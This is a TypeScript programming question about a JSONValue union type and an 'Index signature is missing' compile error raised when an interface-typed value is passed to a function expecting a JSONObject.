type JSONValue =
    | string
    | number
    | boolean
    | JSONObject
    | JSONArray;

To be used in low level function like this:

function saveJson(data: JSONObject) { ... }

Which works for most cases but this case, it does not work

export interface FooBar {
    foo: number,
    bar: number,
}
const data: FooBar = await fetchSomething();
saveJson(data);

With the compile time error:

Argument of type ‘FooBar’ is not assignable to parameter of type
‘JSONObject’.   Index signature is missing in type ‘FooBar’.

My goal to remove the error without touching FooBar